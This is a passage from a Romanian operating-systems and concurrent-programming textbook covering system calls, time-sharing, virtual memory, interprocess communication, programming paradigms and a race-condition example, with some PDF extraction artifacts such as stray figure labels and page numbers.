• obţinerea de informaţii despre stările task-urilor; 

• obţinerea de informaţii despre timpul sistemului etc. 

Aceste apelări de servicii SO sunt tratate de rutine speciale, componente ale SO. 

De exemplu, apelurile de sistem Unix oferă portabilitate şi o interfaţă eficientă aplicaţiilor 

utilizator. 

În fond, prin apelurile de sistem, nucleul oferă un suport eficient pentru rularea programelor 

de aplicaţie pe maşina respectivă. Una din foarte importantele funcţii ale nucleului unui sistem de 

operare este de a permite fişierelor să devină programe care se execută (şi care atunci capătă 

denumirea de task-uri sau procese). 

Una din funcţiile auxiliare acestui scop este gestiunea resurselor calculatorului (memorie, etc.) 

în aşa fel încât simultan sau succesiv să poată exista MAI MULTE procese distincte. Sunt avute în 

vedere gestionarea task-urilor, a timpului sistem, a memoriei, a evenimentelor, a perifericelor I/O, 

suoprt pentru comunicaţii dintre procese etc. 

MS-DOS oferă, de exemplu, un apel de sistem numit “system()”, prin care un utilizator 

poate indica nucleului un fişier, al cărui conţinut este un şir de instrucţiuni pe care îl doreşte 

executat. E simplu să foloseşti “system()”, dar nucleul are o treabă foarte grea de făcut. El trebuie să 

găsească pentru noul proces un loc în memorie (poate le dă pe cele vechi afară), să citească întregul 

fişier (am văzut că asta nu e deloc simplu), şi apoi să sară la prima instrucţiune citită. 

Cum se implementează multitasking-ul ? 

Lucrurile se complică şi mai mult dacă programul nou citit trebuie să se execute în paralel cu 

altele. Metodele prin care nucleul implementează de obicei multitasking-ul au fost discutate în 

secţiunea anterioară. Acolo am subliniat faptul că cel mai frecvent se foloseşte a ceea ce se numeşte 

“time sharing” (partajarea timpului de lucru). Să vedem cum se poate ea obţine din instrucţiunile 

primitive ale maşinii. Ideea de bază este simplă: toate calculatoarele au un “ceas de timp real” (un 

periferic) care generează periodic întreruperi. Fiecare întrerupere cauzează, după cum am spus, 

întreruperea programului care tocmai se execută, memorarea PC-ului din această clipă, şi saltul la o 

anumită procedură asociată întreruperii. În mod normal toate aceste proceduri, care servesc la 

tratarea întreruperilor, sunt tot parte a nucleului (numele lor englezesc este “interrupt handlers”). 

Soseşte întreruperea de ceas; tocmai se execută programul nr.1. Se sare la procedura de tratare a 

întreruperii din nucleu, care se uită să vadă cine se execută: programul nr.1. Nucleul, memorează 

starea acestuia, (valoarea ProgramCounter-ului şi a celorlalţi regiştri), apoi ia din alt loc valoarea 

pe care o salvase pentru PC-ul programului nr.2, şi face un salt acolo, şi tot aşa. Rezultatul este 

executarea întreţesută a instrucţiunilor celor două programe. Lucrurile se petrec foarte frumos 

astfel; dacă programele nu accesează nici o zonă de memorie sau fişier sau periferic în comun, 


Programe utilizator (vi, ls, emacs , etc) 

Subsistem de 

fisiere 

Apeluri de sistem 

Nucleu 

Subsistem de 

control al proceselor 

Biblioteci 

(iostream , stdio, etc) 

write, read,close, stat, chmod, etc. fork, exec, wait, signal,etc. 

Hardware 

Figura 1.4. Apelurile de sistem - o interfaţă dintre aplicaţii şi SO 

11


fiecare are impresia că este singurul care se execută pe acel calculator. Programele nu trebuie scrise 

într-un fel special pentru a putea coexista, de aceea sarcina programatorului este mult mai simplă. 

Inversa operaţiei de creere a unui proces este “moartea”, oprirea acestuia. Aceasta este 

realizată de nucleu scoţând procesul vechi de pe lista proceselor care se vor executa şi eliberând 

memoria alocată lui (plus alte resurse folosite, cum ar fi fişiere, etc.). 

Cum rezolvă un SO multitasking concurenţa în utilizarea memoriei ? 

Memoria este una singură (de obicei), şi este cam greu să scrii un program în aşa fel încât să 

se poată împăca cu oricare altul. Dar nucleul preia şi aceste sarcini. Orice sistem de operare 

multitasking transformă şi accesul la memorie în aşa fel încât procesele să nu se poată influenţa în 

moduri nedorite. Mecanismul pe care îl descriem (numit “memorie virtuală”) este extrem de util 

chiar şi în cazul în care nu avem multitasking. 

Ideea este de a folosi UMM (Unitate de Management a Memoriei - submodul hardware a 

CPU) pentru a da impresia fiecărui proces care se execută pe maşină că toată memoria este a lui, de 

la adresa 0 la adresa infinit, dacă se poate, şi a nimănui altcuiva, chiar dacă lucrurile nu stau de fapt 

de loc aşa. 

Soluţia este de a înghesui mai multe procese simultan în memoria disponibilă fizic, şi de a 

traduce fiecare acces la adresa X a unuia din procese la o altă adresă. 

Această situaţie se prezintă în figură: 

Procesul nr. 1 Procesul nr. 2 

0 N 0 M 

0 N N+1 N+M 

Figura 1.5. Mecanismul memoriei virtuale 

Când procesul nr.1 face o referinţă la ceea ce el crede că este adresa 0, această referinţa este 

trimisă de UMM chiar la adresa 0 din memoria fizică. Pe de altă parte, adresa 0 a procesului nr.2 

este trimisă la adresa N+1 din memoria fizică. 

Reamintiţi-vă că pe sistemele monoprocesor cele două procese nu se execută niciodată 

simultan (Obs: Dacă avem de-a face cu un multiprocesor - un calculator cu mai multe procesoare - 

două procese se POT executa simultan, dar în esenţă funcţionarea memoriei virtuale este aceeaşi), 

ci pe rând, când le vine rândul. De fiecare dată când comută de la un proces la altul (deci când 

tratează întreruperea de la ceas), nucleul trebuie să schimbe şi felul în care UMM traduce adresele. 

Acest lucru îl face CPU discutând cu UMM cam în acelaşi fel în care discută cu un controler: îi 

transmite tot felul de parametri. 

Mecanismul simplu al memoriei virtuale poate fi exploatat şi în alte moduri. De exemplu se 

pot executa în time-sharing procese al căror total de memorie necesară depăşeşte cantitatea 

existentă. Cum? Simplu: când un proces este înlocuit cu altul, părţi din memoria ocupată de el sunt 

mutate pe disc (de exemplu într-un fişier). Când vine din nou la rând, acele părţi sunt aduse la loc 

în memoria fizică (discul, de obicei, este mult mai mare decât memoria). Această tehnică se 

numeşte “swapping”. Aceasta este cu două tăişuri, pentru că scrierea/citirea de pe disc este mult 

mai lentă decât cea din memorie, şi nu-ţi poţi permite ca la fiecare zecime de secundă să te muţi la 


adrese virtuale 

UMM traduce 

adrese fizice 

12


un alt program, iar mutarea să dureze 10 secunde. Nucleul trebuie să fie zgârcit în astfel de mutări. 

Izolarea proceselor în zone de memorie disjuncte face sarcina programatorului mai uşoară şi 

calculatorul mai eficient: se pot rula simultan programe ale unor utilizatori diferiţi, care nu se vor 

incomoda unul pe altul nicicum. Un program nu poate scrie/citi în/din memoria altuia, pentru ca 

nici una din adresele pe care el le referă nu este tradusă de UMM în vreo adresă a celuila 

Ce înţelegem prin tratarea evenimentelor ? 

Tratarea atât a evenimentelor externe cât şi a întreruperilor şi a evenimentelor interne este, 

în mare parte, similară. La apariţia unui eveniment controlul este preluat de SO. Acesta va 

identifica mai întâi evenimentul, după care, ca răspuns la acest eveniment, are loc una sau alta sau 

ambele din următoarele acţiuni: 

• se execută o rutină de tratare a întreruperii, fără a se afecta planificarea execuţiei taskurilor; 

• se activează un task prin plasarea lui într-un şir de aşteptare, conform priorităţii sale 

(pentru a i se aloca CPU pentru execuţie) sau, în mod excepţional, se poate trece direct 

la executarea task-ului. 

Rutinele specifice de tratare a evenimentelor pot fi asociate diferitelor tipuri de întreruperi 

cu ajutorul unor “tabele de asociere” (tabela vectorilor de întrerupere) şi, eventual pentru a asigura 

timpii reduşi de tratare a întreruperilor, pot fi şi micro-programate. În majoritatea SO reale, rutinele 

de tratare a întreruperilor au prioritate maximă. 

Evenimentele externe sunt semnalate sistemului de calcul prin intermediul unor dispozitive 

fizice speciale cum sunt “liniile de întrerupere”, “indicatori de evenimente” sau “cuvinte de stare de 

întrerupere”. 

Cum facilitează un SO comunicarea dintre programe ? 

Programele şi, respectiv, task-urile ce alcătuiesc ansamblul de programe al unui sistem de 

calcul de tip multitasking comunică destul de intens între ele, atât pentru a utiliza date comune cât 

şi pentru a-şi sincroniza în timp desfăşurarea execuţiei lor. Datele pot fi utilizate în comun cu mai 

multe task-uri, prin memorarea lor în zone de memorie internă declarate ca fiind comune mai 

multor task-uri şi la care toate task-urile vor avea acces (memorie partajată). 

Majoritatea SO actuale oferă un sistem de lucru cu fişiere care permite generarea şi 

utilizarea unor colecţii comune de date cu volume sensibil mai mari, la care diferitele task-uri pot 

avea acces într-un mod controlabil (fişiere partajate). Dezavantajul acestui sistem este legat de 

timpii de acces sensibil mai mari în acest caz. 

A treia metodă constă în facilitatea oferită de unele SO de a se transmite între task-uri 

anumite mesaje care constau dintr-un volum limitat de date. Pentru un număr limitat de task-uri ce 

comunică între ele printr-un asemenea mecanism, acesta poate fi foarte avantajos, asigurând timpi 

reduşi de răspuns şi folosind pentru executarea inter-comunicării doar locaţii din memoria internă. 

Prin acest (ultim) mecanism de transmitere de mesaje între task-uri se poate realiza şi 

sincronizarea între task-uri paralele ceea ce este o facilitate foarte utilă pentru comunicarea între 

task-uri. 

O altă formă importantă de comunicare între task-uri este utilizarea în comun a unor 

subrutine, în special pentru operaţiile cu I/O şi de comunicare cu module ale SO (planificator etc.). 

În cazul SO multitasking, în timpul execuţiei unei rutine comune mai multor task-uri, pot 

apare întreruperi, re-entranţa acestor rutine trebuind să fie asigurată de către SO. Există mai multe 

metode de a trata această comunicare dintre task-uri, cum ar fi : 

• blocarea altor task-uri ce ar putea apela subrutina în curs de execuţie; 


13



• subrutina să fie re-entrantă (să permită re-instaţierea); 

• duplicarea subrutinei (câte o copie a subrutinei pentru fiecare task care o foloseşte); 

• inhibarea întreruperilor pe durata execuţiei unei subrutine utilizabile în comun de mai 

multe task-uri. 

14



Capitolul 2. Concepte de programare concurentă 

Un sistem de prelucrare concurentă se caracterizează prin existenţa simultană a mai multor 

programe active care îşi dispută resursa CPU, execuţia lor fiind “întreţesută”, spre deosebire de 

prelucrarea secvenţială, în care programele sunt executate succesiv. În cazul prelucrării concurente 

mai apare o caracteristică suplimentară şi anume că programele concurente nu sunt programe 

absolut independente între ele. În cazul acestor aplicaţii, task-urile sunt porţiuni ale unui program 

ansamblu care urmăreşte realizarea unei anumite prelucrări şi care a fost divizat în părţi (denumite 

task-uri) care pot fi executate în paralel, concurând la a obţine în acest scop resursa CPU, dar 

colaborând între ele (prin comunicare, sincronizare reciprocă etc.) pentru realizarea scopurilor 

comune, în condiţii de performanţe impuse. Marea majoritate a proceselor şi activităţilor care 

alcătuiesc o aplicaţie complexă se desfăşoară sau se pot desfăşura, prin natura lor, în paralel. Pentru 

a putea defini şi trata prin program asemenea activităţi paralele, care şi “colaborează” între ele, sunt 

necesare mecanisme de descriere şi manipulare a unor procese concurente. 

Se poate spune deci : 

Concurenţă = Paralelism + Interacţiune 

Îmbinarea celor două aspecte este esenţială, deoarece paralelism fără interacţiune reprezintă 

un caz particular al multi-tasking-ului iar interacţiune fără paralelism reprezintă cazul particular 

simplist al lanţului de mai multe programe secvenţiale. 

2.1. Concepte abstracte utilizate în descrierea concurenţei 

2.1.1. Paradigme de programare nesecvenţială 

Programele sunt adesea modelate ca un număr de task-uri distincte, care interacţionează 

pentru a executa serviciul sau pentru a produce rezultatul dorit. În cazul programării secvenţiale, un 

program este implementat ca o singură entitate complexă, care execută mai multe funcţii (părţi 

diferite din program). Funcţiile se execută într-o ordine bine determinată: reluarea execuţiei în 

acelaşi context conduce întotdeauna la aceeaşi succesiune a funcţiilor. 

În general, execuţia unui program secvenţial este deterministă. Astfel, pentru acelaşi set de date 

de intrare, programul execută aceeaşi secvenţă de instrucţiuni şi produce aceleaşi rezultate. 

Paradigma programării secvenţiale are două caracteristici de bază: 

• ordinea textuală a instrucţiunilor furnizează ordinea de execuţie a acestora. 

• instrucţiuni succesive se vor executa fără a se suprapune, în timp, una cu cealaltă. 

Nici una dintre aceste două proprietăţi de bază nu sunt valabile în cazul programării nesecvenţiale. 

Programarea nesecvenţială presupune implementarea mai multor entităţi de program, care pot fi 

executate în acelaşi timp şi cărora li se asociază task-uri distincte ce furnizează părţi ale rezultatului 

final. Deoarece execuţiile entităţilor se pot desfăşura simultan, ordinea lor nu este complet 

previzibilă, existând un oarecare grad de nedeterminism în timpul execuţiei. 

Paradigmele de programare nesecvenţială diferă între ele prin tipul sistemului de calcul pe 

care se execută entităţile concurente: sistem monoprocesor, multiprocesor, sistem distribuit. De 

asemenea, paradigmele diferă şi după modul cum sunt partajate de către entităţi informaţiile de 

context şi resursele sistemului. In sfârşit, paradigmele mai diferă după gradul de interacţiune între 

15


entităţi şi în funcţie de existenţa unei "autorităţi tutelare" care să asigure coordonarea entităţilor. 

Paradigmele de programare nesecvenţială pot fi grupate în trei mari categorii: 

1. paradigme de programare paralelă; 

2. paradigme de programare concurentă; 

3. paradigme de programare distribuită. 

Dintr-un anumit punct de vedere, fiecare dintre ele include pe cele dinaintea ei. In secţiunile 

următoare vom vedea ce este specific fiecăreia, avantaje, dezavantaje şi sfere de aplicabilitate. 

a) Programare paralelă 

Programarea paralelă presupunde dezvoltarea de programe care lansează mai multe sarcini de 

calcul: entităţi de execuţie, taskuri, procese, thread-uri (după caz). Acestea sunt executate simultan 

şi cooperează în vederea realizării unui scop comun. Deosebirea fundamentală (conceptual vorbind) 

a programării paralele faţă de alte paradigme nesecvenţiale constă în faptul că task-urile se 

coordonează numai prin operaţii de aşteptare a începerii sau a terminării altor entităţi implicate. 

Astfel, lansarea în execuţie a unui task poate fi condiţionată de startul prealabil al altora, respectiv 

de terminarea activităţilor altor task-uri. 

Punctăm câteva trăsături caracteristice ale programelor paralele: 

1. Un program paralel constă din unul sau mai multe sarcini de lucru (task-uri). Aceste task-uri 

se execută simultan şi numărul lor poate varia în timpul execuţiei programului. 

2. Fiecare task încapsulează un program secvenţial şi o memorie locală. De fapt, un task 

reprezintă o maşină virtuală von Neumann. (O maşină von Neumann conţine o unitate 

centrală de procesare – CPU - conectată la o unitate de memorare şi execută operaţii de 

citire şi scriere asupra unor date din memoria ataşată.) 

3. Task-urile pot fi ataşate procesoarelor fizice în diverse moduri, dar această ataşare nu 

afectează semantica programului. In particular, unui singur procesor îi pot fi ataşate mai 

multe taskuri. 

4. Se pot defini interfeţe de comunicare între aceste task-uri şi, de asemenea, modalităţi de 

acces la resursele comune, în conformitate cu modelul de paralelism folosit. 

În practică sunt utilizate mai multe modele de paralelism, diferenţiate după caracteristicile taskurilor. 

Prezentăm în continuare câteva dintre acestea. 

Modelul de paralelism bazat pe task-uri şi canale se caracterizează prin faptul că fiecare task are 

asociat un set de porturi de intrare (inports) şi un set de porturi de ieşire (outports), conectate între 

ele prin cozi de mesaje numite canale. Aceste canale pot fi create sau şterse dinamic. Un task poate 

executa operaţiile: 

• creare / ştergere canale; 

• citiri de la porturile de intrare / scrieri la porturile de ieşire; 

• creare / ştergere de alte taskuri. 

Figura 2.1. prezintă imaginea globală a unui proces de calcul. El constă dintr-un set de task-uri 

reprezentate prin cercuri şi imaginea detaliată a unui singur task. In cadrul unui task s-a evidenţiat 

pe de o parte setul lui de instrucţiuni (primul dreptunghi), iar pe de altă parte unitatea de memorie 

locală (celălalt dreptunghi). Interfaţa externă este asigurată printr-un set de porturi (ilustrate prin 


16


săgeţile ce pleacă de la instrucţiuni spre exterior). Task-urile sunt conectate prin canale, 

reprezentate prin săgeţi. Un canal reprezintă o coadă de mesaje în care sunt plasate, respectiv din 

care sunt extrase mesaje. 


Figura 2.1. Modelul taskuri şi canale 

Modelul bazat pe schimb de mesaje (message-passing) Programele dezvoltate după acest model, 

la fel ca şi programele create pe modelul taskuri şi canale, creează task-uri multiple. Fiecare task 

este identificat printr-un nume şi încapsulează date locale. Task-urile interacţionează trimiţând şi 

primind mesaje la, respectiv de la task-uri specificate prin nume. Cele două modele diferă numai 

prin mecanismul folosit pentru transferul datelor. La primul model se vorbeşte de "trimis mesaje pe 

canalul x”, iar la al doilea "trimis mesaje task-ului n”. 

Modelul de paralelism al datelor exploatează concurenţa care derivă din aplicarea aceleiaşi 

operaţii mai multor elemente dintr-o structură de date. De exemplu, “adaugă 2 la elementele unui 

tablou” sau “măreşte salariul tuturor angajaţilor cu x lei”. Programatorul are sarcina de a preciza 

cum sunt partiţionate datele în task-uri. 

Modelul memoriei partajate. In acest model, task-urile partajează un spaţiu comun de adrese, în 

care scriu şi citesc date. Pentru controlul accesului la memoria partajată se folosesc mecanisme 

adecvate, aşa cum vom vedea în secţiunile următoare. Un avantaj al acestui model constă în faptul 

că nu se specifică explicit cine este “producătorul” şi cine sunt “consumatorii” unei date. 

Din trăsăturile şi din modelele prezentate mai sus, se desprind trei proprietăţi de bază ale 

programelor paralele: concurenţă, scalabilitate şi modularitate. 

Concurenţa se referă la posibilitatea de a executa mai multe acţiuni simultan. Ea este o 

proprietate esenţială, mai ales dacă programul se execută pe un sistem multiprocesor. 

Scalabilitatea presupune funcţionarea programului, cel puţin la aceiaşi parametri de 

performanţă, dacă numărul de procesoare creşte. 

Modularitatea implică descompunerea unor entităţi de execuţie complexe în componente 

mai simple. Evident, această proprietate nu este specifică numai programării paralele, ci şi altor 

paradigme de programare şi proiectare. 

b) Programare concurentă 

Elementul esenţial prin care se deosebeşte programarea concurentă de cea paralelă este 

faptul că task-urile cooperează între ele în timpul execuţiei. Deşi problema este descompusă în 

subprobleme relativ independente, execuţia acestor task-uri poate să fie intercalată şi urmează un 

scenariu de paralelism la nivel logic. Două task-uri active pot face schimb de informaţii, pot să 

aştepte unul după altul etc. 

17


Pentru comunicarea şi sincronizarea elementelor de execuţie implicate în programul 

concurent, s-au dezvoltat diverse mecansime specifice, asupra cărora vom reveni în secţiunile 

următoare. Tot în secţiunile următoare vom da câteva exemple de probleme care implică utilizarea 

paradigmei programării concurente. 

Una dintre problemele tipice de programare concurentă este problema producătorului şi a consumatorului. 

Pe scurt, ea se enunţă astfel: Există un recipient capabil să depoziteze în el un număr maxim de obiecte. 

Asupra recipientului acţionează două categorii de procese: procese producătoare şi procese consumatoare. 

Un producător fabrică un obiect şi îl depune în recipient. Un consumator extrage un obiect din recipient. Se 

presupune că există cel puţin un proces producător, cel puţin un proces consumator şi că procesele 

producătoare şi consumatoare evoluează în paralel. Pentru disciplinarea accesului la recipient, se impun trei 

condiţii: 

• In fiecare moment, asupra recipientului acţionează numai un singur proces, de orice tip ar fi el 

(acces exclusiv la recipient). 

• Dacă recipientul este plin, producătorii care vor să depună în el rămân în aşteptare până când un 

consumator extrage un obiect. 

• Dacă recipientul este gol, consumatorii care vor să extragă rămân în aşteptare până când un 

producător depune un obiect. 

In secţiunile următoare vom reveni asupra acestei probleme, precizând inclusiv modelul formal de descriere 

a execuţiei. Tot acolo vom prezenta şi alte probleme tipice. 

Atât concurenţa cât şi paralelismul necesită acces controlat la resurse partajate precum: 

dispozitive de I/O, fişiere, înregistrări din baze de date, structuri de date globale, etc. Conceptul de 

paralelism este implicit mai apropiat de hardware, fiind dependent mai mult de caracteristicile 

maşinii. Conceptul de concurenţă este mai apropiat de software, fiind o proprietate stabilită în 

principal de proiectantul programului. 

Tehnicile de programare concurentă se folosesc pentru a structura programe care implică 

mai multe activităţi, consumatoare de timp sau computaţional intensive, executate concurent sau 

programe care tratează evenimente asincrone. 

Pentru a concepe modele de programare concurentă independente de hardware, se asociază 

fiecărei entităţi executabile din program un procesor logic. Fiecare procesor logic este o maşină 

secvenţială care execută pe rând instrucţiunile din procesul alocat. Mai multe procesoare logice 

corespund unui procesor fizic. Acesta are implementat un mecanism de planificare pentru a da 

controlul procesoarelor logice aflate în gestiunea sa. 

Nu se fac ipoteze cu privire la vitezele relative ale operaţiilor corespunzătoare procesoarelor 

logice. Din acest punct de vedere, paralelismul poate fi considerat un caz particular al concurenţei, 

pentru sisteme multiprocesor, în care fiecărui procesor logic îi corespunde un procesor fizic. De 

obicei, sistemele de operare implementează concurenţa. 

Din cele expuse rezultă că gestiunea entităţilor concurente presupune, pe lângă creare şi terminare, 

operaţii de sincronizare, adică de coordonare a task-urilor care nu sunt complet independente, de 

comunicare, schimb de informaţii între taskuri şi de planificare, adică stabilirea priorităţilor taskurilor 

de executat. 

Aceste operaţii, precum şi mecanismele specifice, formale sau implementate pe unele platforme, 

sunt subiectele principale ale prezentei abordări. 

Printre avantajele paradigmei de programare concurentă amintim: 

• Controlul unor activităţi multiple, relativ independente şi gestiunea unor evenimente 

asincrone, externe. Programele sunt adesea scrise pentru a simula sau răspunde la 

evenimente din lumea reală, iar în lumea reală, concurenţa este un lucru obişnuit. Modelarea 

unui astfel de comportament este posibilă dacă mediu de programare suportă noţiunea de 


18


concurenţă. 

• Creşterea eficienţei programelor consumatoare de timp. Operaţiile de I/O, sau de aşteptare 

(de exemplu, sleep) vor bloca numai procesul/thread-ul apelant până la terminarea operaţiei 

respective. 

• O reacţie mai rapidă a calculatorului la acţiunile utilizatorului. Pentru aceste cereri se vor 

crea procese sau thread-uri cu prioritate mai mare. 

• Imbunătăţirea performanţei. Dacă sunt disponibile procesoare multiple, care lucrează în 

paralel, execuţia programului este mult mai rapidă. Această situaţie poartă numele de 

concurenţă reală. 

• Pe sistemele uniprocesor este posibilă îmbunătăţirea performanţei prin modelare concurentă, 

dacă programul efectuează operaţii consumatoare de timp. Cât timp o activitate aşteaptă 

terminarea unei operaţii de I/O, procesorul poate executa alte sarcini de calcul. În acest caz, 

este vorba de o concurenţă logică. 

c) Programare distribuită 

Programarea distribuită implică procesarea logică, simultană, la distanţă, a unor task-uri pe 

platforme eterogene, plasate în diferite puncte din reţea. Contextele proceselor distribuite sunt strict 

separate. Procesele nu partajează între ele părţi ale mediului de execuţie. Două procese active pot 

schimba informaţii numai prin transfer de mesaje. Spre deosebire de programarea concurentă, în 

contexte distribuite nu există o autoritate centrală de coordonare a proceselor, şi nici nu se 

gestionează stări globale ale proceselor. 

În plus faţă de celelalte paradigme de programare nsecevenţială, în cazul programării 

distribuite pot să apară probleme de gestiunea întârzierilor de comunicare. De asemenea, pot să 

apară probleme de administrare a reţelelor (securizate mai mult sau mai puţin), sau a calculatoarelor 

din reţea în momentul când acestea nu mai funcţionează la parametrii normali. 

Metodele şi tehnicile specifice programării distribuite au astăzi un spectru extrem de larg. In 

prezent, sub termenul de middleware sunt cunoscute tehnologiile de nivel 6 din modelul OSI. In 

prezenta lucrare vom aborda doar tangenţial, în ultimul capitol, elemente de programare distribuită. 

Printre cele mai reprezentative exemple de probleme care implică o abordare distribuită 

sunt: serviciile Internet, aplicaţii client/server în care programul server şi aplicaţiile client se găsesc 

pe maşini diferite dar interconectate, soluţii client/server ale bazelor de date aflate la distanţă, agenţi 

mobili, etc. 

În modelul de aplicaţii distribuite client/server, programul client se execută pe maşina 

locală şi comunică printr-o conexiune de reţea cu programul server, executat pe maşina aflată la 

distanţă. Programul client implementează o interfaţă utilizator şi gestionează interacţiunile cu 

utilizatorul. Utilizatorul vede din întreaga aplicaţie doar programul client, care acceptă intrări şi 

produce rezultate. De fapt, aplicaţia client trimite cererile utilizatorului la server şi prezintă 

utilizatorului răspunsurile primite de la server. In unele cazuri, clientul participă, de asemenea, la 

procesarea cererilor şi răspunsurilor. De exemplu, filtrează sau sortează răspunsurile serverului, pe 

baza unui profil al utilizatorului, cunoscut numai programului client. In figura 3. este schiţat 

modelul client/server pentru aplicaţii distribuite. 


19



user 

cerere 

raspuns 

interfata 

client 

cereri 

retea 

raspunsuri 

Figura 2.2. Client / server în context distribuit 

O clasă importantă de aplicaţii distribuite o reprezintă programele care au la bază arhitecturi 

precum CORBA (Common Object Request Broker Architecture), standardizată de OMG (Object 

Management Group) sau DCOM (Distributed Component Object Model) dezvoltată de Microsoft. 

Aceste arhitecturi de tip middleware oferă suportul tehnic necesar pentru ca aplicaţiile distribuite să 

coopereze indiferent de protocolul de comunicaţie sau de arhitectura sistemului gazdă. 

CORBA reprezintă o arhitectură multiplatformă care permite crearea de aplicaţii orientateobiect, 

distribuite, – obiecte diferite se pot găsi pe maşini diferite din reţea- şi eterogene –diferite 

tehnologii de reţea, platforme hardware sau sisteme de operare; implementarea obiectelor poate 

folosi limbaje de programare diferite. 

Tehnologia Microsoft OLE/COMoferă un model de gestiune a unor componente integrabile 

în interfeţe utilizator. Arhitectura DCOM (Distributed COM) extinde tehnologia COM, pentru a 

oferi suport pentru comunicarea obiectelor aflate pe calculatoare diferite, dintr-o reţea LAN, WAN 

sau chiar din Internet. 

Programarea distribuită este o paradigmă puternică de programare, printre avantajele ei de bază 

putem enumera: 

• Serviciile şi datele unei aplicaţii distribuite sunt adesea duplicate, astfel încât aplicaţia să-şi 

poată continua execuţia în siguranţă, chiar dacă o parte din sistem nu funcţionează. Dacă 

datele şi serviciile sunt duplicate în totalitate, utilizatorii nu vor detecta eventualele 

disfuncţionalităţi din sistem. În cazul unei duplicări parţiale, sistemul va continua să 

funcţioneze, oferind un număr restrâns de servicii. 

• Un sistem care include numeroase organizaţii diferite este mai uşor de administrat ca o 

entitate distribuită. Fiecare organizatie îşi pote structura, gestiona şi controla partea sa din 

sistem, conform propriilor legi, reguli şi preferinţe. Avantajul administrativ al unui sistem 

distribuit este evident în sistemul World-Wide Web, unde fiecare site este gestionat separat. 

• Performanţa mărită a unui sistem distribuit se obţine datorită posibilităţii de a executa mai 

multe programe, în acelaşi timp, pe maşini diferite. O problemă computaţională complexă 

poate fi divizată în sub-probleme (mai mult sau mai puţin independente) , care se pot 

executa pe maşini diferite, iar rezultatele vor fi combinate, pe una dintre maşini, pentru a 

obţine un răspuns final. 

• O arhitectură distribuită permite colaborarea la distanţă a unor persoane implicate în 

rezolvarea unei anumite probleme. Operând pe maşini diferite, aceste persoane pot observa 

şi manipula informaţii partajate (programe, date, documente, etc). 

server 

20



2.1.2. Interacţiunea task-urilor 

Un proces sau task, este un calcul care poate fi executat concurent (în paralel) cu alte calcule. El este o 

abstractizare a activităţii procesorului, fiind considerat ca un program în execuţie. Existenţa unui proces 

este condiţionată de existenţa a trei factori: 

• o procedură - o succesiune de instrucţiuni dintr-un set predefinit de instrucţiuni, cu rolul de 

descriere a unui calcul - descrierea unui algoritm. 

• un procesor - dispozitiv hardware/software ce recunoaşte şi poate executa setul predefinit de 

instrucţiuni, şi care este folosit, în acest caz, pentru a executa succesiunea de instrucţiuni 

specificată în procedură; 

• un mediu - constituit din partea din resursele sistemului: o parte din memoria internă, un spaţiu 

disc destinat unor fişiere, periferice magnetice, echipamente audio-video etc. - asupra căruia 

acţionează procesorul în conformitate cu secvenţa de instrucţiuni din procedură. 

Trebuie deci făcută deosebirea dintre proces şi program. Procesul are un caracter dinamic, el 

precizează o secvenţă de activităţi în curs de execuţie, iar programul are un caracter static, el numai 

descrie textual această secvenţă de activităţi. 

Evoluţia în paralel a două procese trebuie înţeleasă astfel: 

Dacă Ii şi Ij sunt momentele de început a două procese Pi şi Pj, iar Hi şi Hj sunt momentele lor de 

sfârşit, atunci Pi şi Pj sunt executate concurent dacă: 

max (Ii, Ij)


Interacţiunea între task-uri concrete se manifestă sub trei forme principale, care vor fi 

examinate în capitolele ce urmează, şi anume: 

• excludere reciprocă, 

• sincronizare, 

• inter - comunicare. 

2.2. Situaţii de excepţie generate de concurenţă 

Execuţia simultană a mai multor procese/thread-uri, care accesează pe durata vieţii lor o serie de 

resurse (variabile) comune, pot genera situaţii ciudate de comportament al execuţiei programelor. 

Avem în vedere cazuri ce nu se întâlnesc în programarea secvenţială clasică. În cele ce urmează 

ilustrăm câteva astfel de situaţii. 

2.2.1. Rezultate inconsistente 

Cunoscută şi sub numele race-condition – este o situaţie generată de lipsa unei mecanism de 

sincronizare a task-urilor. Într-un context adecvat, execuţia intercalată a acestora generează 

rezultate inconsistente şi incorecte. 

Să presupunem că există două procese P1 şi P2 care au dreptul să modifice o aceeaşi variabilă v sub 

forma: 

P1: v = v+1 şi P2 :v = v+1 

Putem presupune că fiecare dintre cele două procese execută această incrementare concurent şi de un 

număr neprecizat de ori. De exemplu, cele două procese pot fi două agenţii de voiaj CFR care dau 

locuri simultan la acelaşi tren. Variabila v poate reprezenta numărul curent al locului vândut. 

Pentru a ilustra acţiunile repetate ale celor două procese, le vom descrie împreună, în specificarea 

PARBEGIN-PAREND din figura 2.4. 

PARBEGIN 

P1: . . . v = v + 1; . . . 

| 

P2: . . . v = v + 1; . . . 

PAREND 

Figura 2.4 Două procese accesează aceeaşi variabilă 

Dacă cele două procese interferează în execuţia acestei instrucţiuni, rezultatele nu vor fi cele aşteptate. 

Pentru clarificare, să presupunem (ceea ce corespunde realităţii) că execuţia unei instrucţiuni maşină nu 

poate fi întreruptă. Pentru execuţia atribuirii v=v+1 sunt necesare trei instrucţiuni maşină. Se foloseşte 

un registru r al maşinii şi o instrucţiune maşină de adunare a unui număr la un registru r=r+1. Secvenţa 

celor trei instrucţiuni este dată în figura 2.5. 


r=v ; 

r=r+1; 

v=r; 

Figura 2.5 O secvenţă de incrementare 

Presupunem că fiecare dintre cele două procese P1 şi P2 are câte un registru de lucru r1 şi r2. În figura 

2.6 şi 2.7 sunt date două secvenţe posibile a fi executate de către cele două procese. 

22



Figura 2.6 Prima secvenţă de dublă incrementare 

Figura 2.7 A doua secvenţă de dublă incrementare 

Presupunem că la începutul fiecărei secvenţe variabila v are valoarea 5. Executându-se prima 

secvenţă (fig.2.6), v va avea în final valoarea 7, primind valoarea 6 de la procesul P1, apoi 7 de la P2. 

Executându-se secvenţa a doua (fig.2.7), variabila v va avea valoarea 6, deşi a fost incrementată 

de către două procese! (V-ar conveni să fiţi unul dintre cei doi cumpărători, sosiţi în acelaşi timp la 

două agenţii, după ce a fost deja vândut locul 5 şi primiţi amândoi acelaşi loc 6?). 

Pentru evitarea acestor rezultate inconsistente, este necesară includerea unor mecanisme de 

sincronizare, astfel încât secveneţele de cod corespunzător atribuirilor v=v+1 să nu fie executate 

întreţesut. 

Există multe prelucrări în care apar acest gen de situaţii. De exemplu, un task citeşte 

valoarea unei date dintr-o locaţie, în timp ce alt task atribuie o altă valoare pentru această dată. 

Un alt exemplu: două procese accesează simultan acelaşi articol al aceluiaşi fişier de pe disc. 

Fiecare dintre ele citeşte conţinutul articolului, îl prelucrează şi depune conţinutul înapoi. Rezultatul 

final este dat de ultima scriere a articolului. Normal, acest rezultat depinde de succesiunile celor 
